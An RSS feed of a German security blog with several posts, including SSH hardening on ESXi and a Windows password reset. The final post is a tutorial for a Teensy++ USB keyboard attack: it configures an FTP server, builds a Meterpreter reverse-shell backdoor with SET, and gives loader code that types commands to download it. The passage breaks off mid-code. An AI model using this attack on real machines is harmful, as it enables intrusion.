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	<title>Bits, Bytes and my 5 cents &#187; Security</title>
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	<description>Life is just a technical game</description>
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		<title>Worst Case: Notebook verloren? Prey hilft&#8230;</title>
		<link>http://blog.encodingit.ch/2012/01/worst-case-notebook-verloren-prey-hilft/</link>
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		<pubDate>Fri, 20 Jan 2012 09:02:00 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
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		<category><![CDATA[Software]]></category>
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		<description><![CDATA[Gehen wir mal vom Wort Case aus! Das Notebook bleibt zum Beispiel am Bahnhof auf einer Bank liegen und wird dummerweise von einer Person gefunden, welche sich schon lange über ein neues Notebook freut. So ein Notebook ist weg - für immer!
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</ol><img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />]]></description>
			<content:encoded><![CDATA[<p>Gehen wir mal vom Wort Case aus! Das Notebook bleibt zum Beispiel am Bahnhof auf einer Bank liegen und wird dummerweise von einer Person gefunden, welche sich schon lange über ein neues Notebook freut. So ein Notebook ist weg &#8211; für immer!<br />
Oder doch nicht? Denn dafür gibt es <a href="http://preyproject.com/"  target="_blank">Prey</a>:</p>
<blockquote><p>
Prey lets you keep track of your phone or laptop at all times, and will help you find it if it ever gets lost or stolen. It&#8217;s lightweight, open source software, and free for anyone to use. And it just works.
</p></blockquote>
<p>Vor allem letzteres wollen wir mal hoffen <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p><iframe src="http://player.vimeo.com/video/18728980?title=0&amp;byline=0&amp;portrait=0" width="500" height="281" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe></p>
<p>Probieren konnte ich es selbst noch nicht, doch hier hilft eine andere Geschichte:</p>
<blockquote><p>
Stephan Meier* ist ein Geek. Der Schweizer lebt seit 10 Jahren in Rom. Doch aufgrund eines Todesfalles in seiner Familie, ist er während der Festtage nicht wie sonst üblich in die Skiferien gefahren, sondern hat sich im Raum Zürich bei seiner Verwandtschaft aufgehalten.</p>
<p><span id="more-3008"></span></p>
<p>Am 31. Dezember ist er mit seiner Partnerin unterwegs in Richtung Toggenburg und lässt beim Umsteigen seine Tasche mit Notebook, Pass und weiteren Dokumenten in der S-Bahn nach Rapperswil liegen.</p>
<p>[...]</p>
<p>Aber nach ein paar Stunden findet die Durchsuchung statt, und die vemisste Tasche mit Notebook, Pass, usw. konnte sichergestellt werden. Zu guter letzt willigte auch noch die Staatsanwältin ein, die &#8220;Beweisstücke&#8221; freizugeben und Stephan kann morgen nach Rom zurück fahren, als ob nichts geschehen wäre.
</p></blockquote>
<p>Die ganze Story <a href="http://www.andreasvongunten.com/blog/2012/1/6/wie-man-heutzutage-sein-verlorenes-oder-geklautes-notebook-z.html"  target="_blank">gibt es hier</a>.</p>
<p>Insgesamt ein voller Erfolg, wenn man bedenkt, dass die Software zu installieren gerade mal ein paar Minuten in Anspruch nimmt. Klar, die Chance, dass der Benutzer die Maschine auch sogleich ans Internet hängt, ist sehr klein, doch ist es immerhin ein Lichtblick, als wenn man gar nichts getan hätte. Wer es nicht versucht, hat schon verloren!</p>
<p><center><a href="http://blog.encodingit.ch/wp-content/uploads/2012/01/download.png"  rel="lightbox[3008]"><img src="http://blog.encodingit.ch/wp-content/uploads/2012/01/download-300x133.png" alt="" title="download" width="500" class="alignnone size-medium wp-image-3031" /></a></center></p>
<p>Ganz cool, dass es Prey nicht nur für <a href="http://preyproject.com/releases/0.5.3/prey-0.5.3-win.exe"  target="_blank">Windows</a>, <a href="http://preyproject.com/releases/0.5.3/prey-0.5.3-mac.dmg"  target="_blank">Mac</a> oder <a href="http://preyproject.com/releases/0.5.3/prey-0.5.3-linux.zip"  target="_blank">Linux</a> (<a href="http://preyproject.com/releases/0.5.3/prey_0.5.3-ubuntu2_all.deb"  target="_blank">Ubuntu</a>) gibt, sondern auch für <a href="https://market.android.com/search?q=pname:com.prey"  target="_blank">Android</a> und <a href="http://itunes.apple.com/us/app/prey-anti-theft/id456755037"  target="_blank">iOS</a>.</p>
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</ol></p><img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />]]></content:encoded>
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		<title>Demonstrationen in neuem Ausmasse: Internet Blackout geplant</title>
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		<pubDate>Tue, 17 Jan 2012 12:15:03 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Big Brother]]></category>
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		<category><![CDATA[Überwachung]]></category>

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		<description><![CDATA[Die Zeiten von Demonstrationen auf der Strasse sind vorbei. Am Mittwoch wird ein neues Kapitel aufgeschlagen.
Unter dem Namen Anti SOPA findet eine Demonstration gegen den Protect Intellectual Property Act des US Senats und den Stop Online Piracy Act des US Kongresses.
Beides sind Gesetzesentwürfe, welche die ungerechtfertigte Verbreitung von urheberrechtlich geschütztem Material im Internet unterbinden soll.<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />]]></description>
			<content:encoded><![CDATA[<p>Die Zeiten von Demonstrationen auf der Strasse sind vorbei. Am Mittwoch wird ein neues Kapitel aufgeschlagen.<br />
Unter dem Namen <a href="http://sopastrike.com/on-strike/"  target="_blank">ON STRIKE</a> findet eine Demonstration gegen den Protect Intellectual Property Act des US Senats und den Stop Online Piracy Act des US Kongresses statt.<br />
Beides sind Gesetzesentwürfe, welche die ungerechtfertigte Verbreitung von urheberrechtlich geschütztem Material im Internet unterbinden soll. Eigentlich ja eine ganz gute Sache, nur wird diese Unterbindung der Verbreitung auf Kosten von Meinungsfreiheit ausgelebt. Wikipedia beschreibt das Gesetz wie folgt:</p>
<blockquote><p>Das Gesetz würde es dem US-Justizministerium und Copyright-Inhabern erlauben, gerichtliche Verfügungen gegen die Betreiber von Internetseiten zu beantragen, die einen Verstoß gegen das US-amerikanische Copyright darstellen. Den Zweck der Maßnahme wählt der Antragsteller. Zum Beispiel kann eine Verfügung Werbeagenturen und Bezahldiensten die Zusammenarbeit mit Inhabern betroffener Internetseiten untersagen und so das Tätigen weiterer Geschäfte verhindern.</p>
<p>Auch das Anzeigen der Internetseite in Suchmaschinen könnte blockiert werden. Durch das Gesetz würde das Herunterladen geschützter Inhalte zu einer schweren Straftat.[...]</p></blockquote>
<p><iframe src="http://player.vimeo.com/video/31100268?byline=0&amp;portrait=0" width="600" height="350" frameborder="0" webkitAllowFullScreen mozallowfullscreen allowFullScreen></iframe></p>
<p>Doch nun soll etwas dagegen gemacht werden! Grosse Portale Wikipedia, Google, Yahoo, Mozilla oder Amazon, aber auch kleinere Webseiten und Blogs werden morgen, dem 18. Januar von 05:00 UTC an für 12 Stunden offline sein, aus Protest gegen die geplanten Gesetzesentwürfe. </p>
<p><a href="https://twitter.com/#!/jimmy_wales/status/158971314449809409"  target="_blank">Jimmy Wales von Wikipedia</a></p>
<blockquote><p>Student warning! Do your homework early. Wikipedia protesting bad law on Wednesday! #sopa</p></blockquote>
<p><a href="https://twitter.com/#!/flamsmark/status/158996160718176256"  target="_blank">Oder Mozilla:</a></p>
<blockquote><p>@binarybits On Weds, @mozilla&#8217;s sites are planning to &#8220;go dark&#8221; for a while, replaced by content talking about how dangerous SOPA would be. </p></blockquote>
<p>Andere wie Twitter oder Facebook rätseln noch, ob sie auch mitziehen wollen.<br />
Die Tatsache, dass durch eine Abschaltung für 12 Stunden die meisten der Unternehmen Schäden in der Höhe ein paar Tausend bis ein paar Millionen Dollar hinnehmen, zeigt, wie ernst es um die beiden Gesetzesvorschläge steht.</p>
<p>Wer auch mitmachen möchte, der kann auf seiner Seite folgenden Javascript-Code einfügen, wodurch die Protestseite automatisch aktiviert und deaktiviert wird. Einfach in den Header, gleich vor dem /head einfügen:</p>
<pre class="brush: jscript; title: ; notranslate">
&lt;script&gt;
var a=new Date;if(18==a.getDate()&amp;&amp;0==a.getMonth()&amp;&amp;2012==a.getFullYear()&amp;&amp;5&lt;=a.getHours())window.location=&quot;http://blog.encodingit.ch/zensur.html&quot;;
var a=new Date;if(19==a.getDate()&amp;&amp;0==a.getMonth()&amp;&amp;2012==a.getFullYear()&amp;&amp;5&gt;=a.getHours())window.location=&quot;http://blog.encodingit.ch/zensur.html&quot;;
&lt;/script&gt;
</pre>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />]]></content:encoded>
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		</item>
		<item>
		<title>SSH von ESXi absichern</title>
		<link>http://blog.encodingit.ch/2011/12/ssh-von-esxi-absichern/</link>
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		<pubDate>Fri, 02 Dec 2011 07:30:18 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Server]]></category>
		<category><![CDATA[ESX]]></category>
		<category><![CDATA[ESXi]]></category>
		<category><![CDATA[Planet]]></category>
		<category><![CDATA[SSH]]></category>
		<category><![CDATA[Syslog]]></category>

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		<description><![CDATA[Vor kurzem habe ich ja bereits über Syslog geschrieben. Jeder der schon mal einen Server in den weiten des Internets betrieben hat (damit meine ich nicht zu Hause im eigenen Netzwerk), der weiss, wie schnell es geht, bis die ersten Bots und Kiddies mit endlosen Versuchen probieren, das SSH-Passwort zu knacken.
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</ol><img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />]]></description>
			<content:encoded><![CDATA[<p>Vor kurzem habe ich ja bereits über Syslog geschrieben. Jeder der schon mal einen Server in den weiten des Internets betrieben hat (damit meine ich nicht zu Hause im eigenen Netzwerk), der weiss, wie schnell es geht, bis die ersten Bots und Kiddies mit endlosen Versuchen probieren, das SSH-Passwort zu knacken.<br />
Für Linux-Distributionen wie Ubuntu, Debian, RedHat oder was auch immer gibt es unzählige Tools und Applikationen, welche helfen entweder den SSH-Zugriff zu verstecken, oder aber zu verteidigen.</p>
<p>Beides gibt es leider nicht bei meinem ESXi Server. Noch nicht mal eine anständige iptable oder hosts.deny sind vorhanden, geschweige  denn von einer Firewall, wie es bei ESX Standard ist.</p>
<p>Um jedoch mal zu sehen, wie viele Personen versuchen, mein SSH zu knacken, habe ich ein einfaches kleines Script für Nagios geschrieben.</p>
<p>Ich weiss es kann noch viel optimiert werden dabei, doch es erfüllt seinen Zweck:</p>
<pre class="brush: bash; title: ; notranslate">
#!/bin/bash

# ####################################################################
# Check Syslog /var/log/SPLVS002.log for Brute Force Attacks via SSH
# by Patrick Schmid
# Version 1.0
######################################################################

export STATE_OK=0
export STATE_WARNING=1

time=`date +%H.%M.%S |cut -d'.' -f1`
time=`echo $time|sed 's/^0*//'`
time2=$(( $time - 1))
time3=$(( $time - 2))

if [ $time -lt 10 ]; then
        time=0$time
fi

if [ $time2 -lt 10 ]; then
        time2=0$time2
fi

if [ $time3 -lt 10 ]; then
        time3=0$time3
fi

compare=`tail -300 /var/log/SPLVS002.log |grep &quot;from&quot; |grep &quot;root&quot; |grep &quot;attempt&quot; | cut -d' ' -f3`
compare=`echo $compare | cut -d' ' -f1`

if [ $compare -lt 10  ]; then
        attackers=`tail -300 /var/log/SPLVS002.log |grep &quot;from&quot; |grep &quot;root&quot; |grep &quot;attempt&quot; | cut -d' ' -f4,14 |cut -d':' -f1,2,3 |sed -e 's/://' | tee -a |sed -e 's/://' |tee -a |grep &quot;^$time\|^$time2\|^$time3&quot; |cut -d' ' -f2 |sort |uniq`
        computers=`tail -300 /var/log/SPLVS002.log |grep &quot;from&quot; |grep &quot;root&quot; |grep &quot;attempt&quot; | cut -d' ' -f4,14 |cut -d':' -f1,2,3 |sed -e 's/://' | tee -a |sed -e 's/://' |tee -a |grep &quot;^$time\|^$time2\|^$time3&quot; |cut -d' ' -f2 |sort |uniq |wc -l`
        attemps=`tail -300 /var/log/SPLVS002.log |grep &quot;from&quot; |grep &quot;root&quot; |grep &quot;attempt&quot; | cut -d' ' -f4,14 |cut -d':' -f1,2,3 |sed -e 's/://' | tee -a |sed -e 's/://' |tee -a |grep &quot;^$time\|^$time2\|^$time3&quot; |cut -d' ' -f2 |sort |wc -l`
else
        attackers=`tail -300 /var/log/SPLVS002.log |grep &quot;from&quot; |grep &quot;root&quot; |grep &quot;attempt&quot; | cut -d' ' -f3,13 |cut -d':' -f1,2,3 |sed -e 's/://' | tee -a |sed -e 's/://' |tee -a |grep &quot;^$time\|^$time2\|^$time3&quot; |cut -d' ' -f2 |sort |uniq`
        computers=`tail -300 /var/log/SPLVS002.log |grep &quot;from&quot; |grep &quot;root&quot; |grep &quot;attempt&quot; | cut -d' ' -f3,13 |cut -d':' -f1,2,3 |sed -e 's/://' | tee -a |sed -e 's/://' |tee -a |grep &quot;^$time\|^$time2\|^$time3&quot; |cut -d' ' -f2 |sort |uniq |wc -l`
        attemps=`tail -300 /var/log/SPLVS002.log |grep &quot;from&quot; |grep &quot;root&quot; |grep &quot;attempt&quot; | cut -d' ' -f3,13 |cut -d':' -f1,2,3 |sed -e 's/://' | tee -a |sed -e 's/://' |tee -a |grep &quot;^$time\|^$time2\|^$time3&quot; |cut -d' ' -f2 |sort |wc -l`
fi

[ &quot;$attackers&quot; ] &amp;&amp; echo -e &quot;$attemps attemps from $computers attackers\n$attackers&quot;
[ &quot;$attackers&quot; ] || echo &quot;No Attack running&quot;

[ &quot;$attackers&quot; ] &amp;&amp; exit $STATE_WARNING
[ &quot;$attackers&quot; ] || exit $STATE_OK</pre>
<p>Und schon sieht man in Nagios selbst, was so abgeht:</p>
<p><span id="more-2830"></span></p>
<p><a href="http://blog.encodingit.ch/wp-content/uploads/2011/11/bruteforce1.png"  rel="lightbox[2830]"><img class="size-medium wp-image-2765 alignnone" title="Nagios Brute Force" src="http://blog.encodingit.ch/wp-content/uploads/2011/11/bruteforce1.png" alt="" width="500" /></a></p>
<p>So dann weiter im Konzept! Es gibt zwar keine Möglichkeit, Angreifer aussperren oder ähnliches, jedoch aber kann man verhindern, dass das Passwort erraten werden kann, indem man das Login mit einem zusätzlichen Zertifikat schützt. Wie das geht, lest ihr in den folgenden Zeilen!</p>
<p>Zuerst wird ein Key generiert, mit ssh-keygen.<br />
Nun kann der Public-Key kopiert werden, denn dieser muss auf den ESX wie folgt eingefügt werden:</p>
<pre class="brush: bash; title: ; notranslate">
mkdir /.ssh
touch /.ssh/authorized_keys
chmod 0600 -R /.ssh
echo &quot;ssh-rsa KEY_HIER_EINFÜGEN&quot; &gt;&gt; /.ssh/authorized_keys
</pre>
<p>Nun kann man das Login schon mal prüfen. Hier sollte man bereits mit dem Key einloggen können.</p>
<p>Jetzt wird das ganze noch abgesichert, damit es auch einen Reboot übersteht. Einfach den obigen Part in die Datei /etc/rc.local einfügen und abspeichern.<br />
Und zu guter Letzt wird noch das Login ohne Zertifikat deaktiviert. Dazu wird in der Datei /etc/inetd.conf den beiden Punkten &#8220;ssh&#8221; der Parameter -s angefügt:</p>
<pre class="brush: bash; title: ; notranslate">
ssh      stream   tcp   nowait   root   /sbin/dropbearmulti   dropbear ++min=0,swap,group=shell -s -i -K60
ssh      stream   tcp6  nowait   root   /sbin/dropbearmulti   dropbear ++min=0,swap,group=shell -s -i -K60
</pre>
<p>Von nun an ist ein Login nur noch mit Zertifikat möglich, wodurch auch die lästigen Bots ausgebremst werden.</p>
<br /><p>Das könnte dich auch interessieren:<ol>
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			<wfw:commentRss>http://blog.encodingit.ch/2011/12/ssh-von-esxi-absichern/feed/</wfw:commentRss>
		<slash:comments>13</slash:comments>
		</item>
		<item>
		<title>Spionieren wird legalisiert</title>
		<link>http://blog.encodingit.ch/2011/11/spionieren-wird-legalisiert/</link>
		<comments>http://blog.encodingit.ch/2011/11/spionieren-wird-legalisiert/#comments</comments>
		<pubDate>Wed, 23 Nov 2011 20:30:06 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Politik]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Bundesrat]]></category>
		<category><![CDATA[Staatstrojaner]]></category>

		<guid isPermaLink="false">http://blog.encodingit.ch/?p=2808</guid>
		<description><![CDATA[Früher oder später musste es ja soweit kommen, irgendwie scheint die Schweiz hier Deutschland nach zu eifern.
Die Rede ist vom Staatstrojaner!<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />]]></description>
			<content:encoded><![CDATA[<p>Früher oder später musste es ja soweit kommen, irgendwie scheint die Schweiz hier Deutschland nach zu eifern.</p>
<p>Die Rede ist vom Staatstrojaner! Soweit mir bekannt, war das Kapitel bisher eine Grauzone und nun, seit heute scheint das offiziell geregelt. Eigentlich auch ein gute Sache, nun aber was mir nicht ganz zusagen will, ist die Art wie das geregelt wurde!<br />
Neu ist der Einsatz des Staatstrojaners vom Bundesrat <a href="http://www.ejpd.admin.ch/content/dam/data/sicherheit/uepf/vorentw-vuepf-d.pdf"  target="_blank">niedergeschrieben</a> worden und erlaubt so den Einsatz zur Überwachung, falls dies auf einem anderen Weg nicht möglich ist. So können neu also auch Gespräche via zum Beispiel Skype mitgehört oder aber verschlüsselte eMail -gelesen werden&#8230;<br />
Eigentlich ist der Einsatz ja eingeschränkt; so darf der Staatstrojaner nur bei schweren Delikten eingesetzt werden. Nun ja, wer klassifiziert denn ein Delikt als &#8220;schwer&#8221;, das liegt ja wohl im Auge des Betrachters!</p>
<p>Einziger Lichtblick: Für Überwachungen via Mikrofon und Webcam soll das ganze nicht genutzt werden dürfen. Da frag ich mich doch, was passiert wenn ich am Skypen bin, da gebrauche ich ja auch mein Mikrofon und die ggf. die Webcam&#8230;</p>
<p>Vor allem wird das am Schluss ein Kampf zwischen Antiviren-Hersteller und Staat oder muss der Bundestrojaner dann per Entschluss immer excluded werden? </p>
<p>Wo soll das noch alles hinführen&#8230;</p>
<p>(<a href="http://www.inside-it.ch/articles/27092"  target="_blank">via</a>)</p>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />]]></content:encoded>
			<wfw:commentRss>http://blog.encodingit.ch/2011/11/spionieren-wird-legalisiert/feed/</wfw:commentRss>
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		</item>
		<item>
		<title>Passwort zurücksetzen mit TRK</title>
		<link>http://blog.encodingit.ch/2011/08/passwort-zurucksetzen-mit-trk/</link>
		<comments>http://blog.encodingit.ch/2011/08/passwort-zurucksetzen-mit-trk/#comments</comments>
		<pubDate>Tue, 02 Aug 2011 14:23:15 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Hacker]]></category>
		<category><![CDATA[Passwort]]></category>
		<category><![CDATA[TRK]]></category>

		<guid isPermaLink="false">http://blog.encodingit.ch/?p=2553</guid>
		<description><![CDATA[Heute hatte ich eine Windows-Maschine, von welcher dummerweise das Passwort nicht mehr bekannt war. Also habe ich zuerst versucht das ganze mit dem Offline NT Password &#38; Registry Editor zurückzusetzen, wie ich das sonst eigentlich immer mache.
Dummerweise aber waren die Treiber für die Festplatte von meinem HP ELitebook 8530p nicht integriert und ich konnte auch nirgends passende nachliefern.<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />]]></description>
			<content:encoded><![CDATA[<p>Heute hatte ich eine Windows-Maschine, von welcher dummerweise das Passwort nicht mehr bekannt war. Also habe ich zuerst versucht das ganze mit dem Offline NT Password &amp; Registry Editor zurückzusetzen, wie ich das sonst eigentlich immer mache.<br />
Dummerweise aber waren die Treiber für die Festplatte von meinem HP ELitebook 8530p nicht integriert und ich konnte auch nirgends passende nachliefern.<br />
Der Verzweiflung nahe habe ich dann nochmals Google befragt und bin über TRK, also das Trinity Rescue Kit gestolpert.</p>
<p><a href="http://blog.encodingit.ch/wp-content/uploads/2011/08/trk34-b365-bootmenu.png"  rel="lightbox[2553]"><img class="size-medium wp-image-2554 alignnone" title="trk34-b365-bootmenu" src="http://blog.encodingit.ch/wp-content/uploads/2011/08/trk34-b365-bootmenu-300x225.png" alt="" width="300" height="225" /></a></p>
<p>Dieses habe ich mit dem Tool <a href="http://blog.encodingit.ch/wp-content/uploads/2011/08/tazusb.exe" >tazusb</a> zuerst auf meinen USB Stick kopiert und die Maschine dann von da her gestartet. Da ich nun einen USB Stick anstatt einer CD verwende, musste ich, als mich das System danach fragte, explizit angeben, dass TRK unter sdb1 zu finden sei.</p>
<p><a href="http://blog.encodingit.ch/wp-content/uploads/2011/08/trk34-b365-simple-menu.png"  rel="lightbox[2553]"><img class="size-medium wp-image-2555 alignnone" title="trk34-b365-simple-menu" src="http://blog.encodingit.ch/wp-content/uploads/2011/08/trk34-b365-simple-menu-300x225.png" alt="" width="300" height="225" /></a></p>
<p>Danach verlief alles problemlos und ich konnte das Passwort leeren, indem ich der einfachen Menüführung folgte und mich danach ohne Passwort auch gleich einloggen <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  Eine super Alternative also zu Offline NT Password &amp; Registry!</p>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />]]></content:encoded>
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		</item>
		<item>
		<title>Kassensturz hackt E-Banking-Konten</title>
		<link>http://blog.encodingit.ch/2011/06/kassensturz-hackt-e-banking-konten/</link>
		<comments>http://blog.encodingit.ch/2011/06/kassensturz-hackt-e-banking-konten/#comments</comments>
		<pubDate>Fri, 03 Jun 2011 07:39:41 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[eBanking]]></category>
		<category><![CDATA[Hacker]]></category>

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		<description><![CDATA[Soeben bin ich auf der Seite von sf.tv über ein Beitrag mit dem obigen Titel gestossen.<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />]]></description>
			<content:encoded><![CDATA[<p>Soeben bin ich auf der Seite von <a target="_blank" href="http://www.kassensturz.sf.tv/Nachrichten/Archiv/2011/05/31/Themen/Geld/Kassensturz-hackt-E-Banking-Konten" >sf.tv</a> über ein Beitrag mit dem obigen Titel gestossen. Also bitte keine Ausrufe über &#8220;das ist aber kein hacking&#8221; <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /><br />
Wie es scheint hat Kassensturz die Sicherheit von einzelnen eBanking-Portalen geprüft, doch seht selbst:</p>
<p><object data="http://www.sf.tv/videoplayer/embed/301020a9-bb2b-45ec-b531-e5859194f86b" type="application/x-shockwave-flash" style="width:640px;height:386px"><param name="movie" value="http://www.sf.tv/videoplayer/embed/301020a9-bb2b-45ec-b531-e5859194f86b"/><param name="quality" value="high" /><param name="allowFullScreen" value="true" /><a target="_blank" href="http://www.videoportal.sf.tv/video?id=301020a9-bb2b-45ec-b531-e5859194f86b"  alt="zum Videoportal des Schweizer Fernsehens">Kassensturz vom 31.05.2011</a></object></p>
<p>Naja, dass der Beitrag ein bisschen fragwürdig ist, muss ich nicht noch speziell erwähnen. Der Trojaner war ja schon installiert. Und wer dumm genug ist, einfach ein Anhang zu installieren, der sollte auch kein eBanking machen!<br />
Und da das System über einen Trojaner geknackt wird, läuft der Angriff durch den Computer und nicht durch das Portal selbst. Somit bin ich der Meinung, dass die Bank nicht mehr verantwortlich ist für die Sicherheit. Jeder muss selbst wissen, auf welchem Computer er sich in sein eBanking einloggt!</p>
<p>Und in meinen Augen ist der ganze Angriff ein Witz: Welcher Computer blockiert denn bei einem Windows Update? Wäre ich im eBanking, so würde ich das Update wegklicken und später nochmals starten!</p>
<p>Ganz lustig ist ja auch noch die Reaktion der Banken! Ich wette, weder die Migrosbank, noch Raiffeisen werden auf Grund dieses Beitrages etwas ändern!</p>
<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />]]></content:encoded>
			<wfw:commentRss>http://blog.encodingit.ch/2011/06/kassensturz-hackt-e-banking-konten/feed/</wfw:commentRss>
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		</item>
		<item>
		<title>teensy++ hacking: besser, schneller</title>
		<link>http://blog.encodingit.ch/2011/05/teensy-hacking-besser-schneller/</link>
		<comments>http://blog.encodingit.ch/2011/05/teensy-hacking-besser-schneller/#comments</comments>
		<pubDate>Tue, 24 May 2011 07:27:54 +0000</pubDate>
		<dc:creator>Patrick</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Teensy++]]></category>
		<category><![CDATA[Backtrack]]></category>
		<category><![CDATA[FTP]]></category>
		<category><![CDATA[Metasploit]]></category>
		<category><![CDATA[Planet]]></category>

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		<description><![CDATA[Ich habe in einer Veröffentlichung im Security-Magazin hakin9.org mal über das Framework SET (Social Engeineering Toolkit) geschrieben. Darin gab es seither immer ein Punkt, den ich nicht nutzen konnte. So lässt sich automatisch eine Attacke aufbauen, welche über den Teensy++ eine Backdoor vom Angreifer nachlädt und dann ausführt.<img src="http://www.encodingit.ch/piwik/piwik.php?idsite=2&rec=1" style="border:0" alt="" />]]></description>
			<content:encoded><![CDATA[<p>Ich habe in einer<a href="http://blog.encodingit.ch/wp-content/uploads/2010/10/Online-Banking_09_2010.pdf" > Veröffentlichung im Security-Magazin hakin9.org</a> mal über das Framework SET (Social Engeineering Toolkit) geschrieben. Darin gab es seither immer ein Punkt, den ich nicht nutzen konnte. So lässt sich automatisch eine Attacke aufbauen, welche über den Teensy++ eine Backdoor vom Angreifer nachlädt und dann ausführt.</p>
<p>Alles was es dazu braucht, ist ein <a target="_blank" href="http://www.pjrc.com/teensy/" >teensy++ 2.0</a>, ein Linux (ich verwende <a target="_blank" href="http://www.backtrack-linux.org/backtrack/backtrack-5-release/" >BT5</a>), <a target="_blank" href="http://www.secmaniac.com/" >SET</a>, <a target="_blank" href="http://www.metasploit.com/" >Metasploit</a>, <a target="_blank" href="http://www.pjrc.com/teensy/td_download.html" >Teensyduino</a> und ein Opfer (dies bist natürlich auch du). Eine feine Sache also <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Nur wenn ich ehrlich bin, war ich von der Umsetzung durch SET mehr als enttäuscht! Die Attacke basiert auf einem Stück Code das versucht superintelligent zu sein, und dadurch alles versaut&#8230; So dauert das Laden der Backdoor zwar gerade mal ein paar Sekunden, jedoch, um überhaupt etwas laden zu können, wird zuerst 10 Sekunden lang eine Datei geschrieben, was ja auch nicht unbedingt das Gelbe vom Ei ist. Aber was in meinen Augen überhaupt nicht geht, der Code funktioniert nicht immer und das nur unter dem Englischen Tastaturlayout &#8211; alles andere als ausgereift also!</p>
<p>Also habe ich mich an die Umsetzung einer eigenen Lösung gemacht. Wer SET und Metasploit nicht selbst installieren will, der nimmt einfach die neuste Version von Backtrack, da ist alles bereits integriert.</p>
<p>Vorweg kann ich sagen, meine Lösung zum Laden der Backdoor basiert auf FTP. Ich bin mir durchaus bewusst, dass dieses Protokoll öfters gesperrt ist von LAN ins WAN bei grösseren Firmen, jedoch wenn ich über den Teensy++ angreife, dann brauche ich ja auch physikalischen Zugriff zur Maschine zum Einstecken, wodurch es dann sowieso meistens für Angriffe innerhalb des LAN genutzt wird.<br />
Der Vorteil aber, da ftp als Standard auf einer Windows-Maschine schon vorhanden ist, muss ich nicht zuerst noch ein ganzes Downloadscript aufbauen, sondern kann direkt auf den FTP-Client der Konsole zurückgreifen, wodurch die Backdoor innert zwei bis drei Sekunden geladen und ausgeführt ist!</p>
<p>Damit das aber auch klappt, musste ich das angreifende System erst vorbereiten. Für den FTP-Server habe ich auf vsftpd zurückgegriffen. Die Konfiguration musste ich dabei nur minimal anpassen:</p>
<pre class="brush: bash; title: ; notranslate">
anonymous_enable=YES
anon_root=/var/www/

local_enable=NO
write_enable=NO

local_umask=022
dirmessage_enable=YES
xferlog_enable=YES
connect_from_port_20=YES
xferlog_file=/var/log/vsftpd.log
xferlog_std_format=YES
chroot_local_user=YES
chroot_list_enable=NO
listen=YES

pam_service_name=vsftpd
userlist_enable=NO
userlist_deny=NO
userlist_file=/etc/vsftpd/user_list
tcp_wrappers=YES
</pre>
<p><span id="more-2262"></span></p>
<p>Wird nun der Dienst gestartet, so kann ich über den Anonymous-Benutzer von meinem Opfer (natürlich Windows <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ) auf /var/www des Angreifers zugreifen:</p>
<pre class="brush: bash; title: ; notranslate">
ftp -A 192.168.0.20
</pre>
<p>Nun verwende ich SET, um die benötigte Backdoor zu generieren. Dazu einfach den folgenden Ablauf einhalten:</p>
<ul>
<li>SET starten</li>
<li>6 für Teensy USB HID Attack Vector</li>
<li>2 für WSCRIPT HTTP GET MSF Payload</li>
<li>yes um einen Payload zu kreieren</li>
<li>2 für meinen Lieblingspayload Windows Reverse_TCP Meterpreter <img src='http://blog.encodingit.ch/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </li>
<li>ENTER für die Standard Backdoored Executable</li>
<li>ENTER für den default Port</li>
</ul>
<p>Nun wird die Backdoor x.exe generiert und unter /var/www/ verfügbar gemacht. Weiter wurde auch noch eine Datei reports/teensy.pde erstellt, aber wie schon beschrieben, ist dieser Loader einfach Schrott. Deshalb habe ich auch meinen eigenen entwickelt:</p>
<pre class="brush: java; title: ; notranslate">
#include &lt;phukdlib.h&gt;

void setup() {
  delay(10000);

  CommandAtRunBarMSWIN(&quot;displayswitch.exe /external&quot;); //nur unter Windows 7
  delay(500);
}

void loop () {
  CommandAtRunBarMSWIN(&quot;cmd /k&quot;);
  delay(500);
  Keyboard.print(&quot;ftp -A 192.168.0.20&quot;);
  PressAndRelease(KEY_ENTER, 1);
  Keyboard.print(&quot;GET x.exe&quot;);
  PressAndRelease(KEY_ENTER, 1);
  delay(500);
  Keyboard.print(&quot;quit&quot;);
  PressAndRelease(KEY_ENTER, 1);
